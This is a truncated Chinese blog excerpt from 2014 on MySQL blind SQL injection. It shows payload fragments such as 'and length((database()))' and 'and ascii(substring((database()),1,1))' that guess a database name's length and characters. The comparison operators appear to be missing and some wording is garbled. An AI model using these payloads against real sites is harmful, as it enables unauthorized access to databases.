发布时间：2014-06-06 17:01:46

mysql 不支撑union select 的盲注方式 猜解数据库长度and Length((database())) 10 //小于12返回正常阐明数据库是12位以下and length((database())) 8 //小于8返回过错解释数据库名是9位的猜解数据库名and ascii(substring((database()),1,1))100 //100的ascii码d,说明不是dand ascii(substring((database()),1,1).........【阅读全文】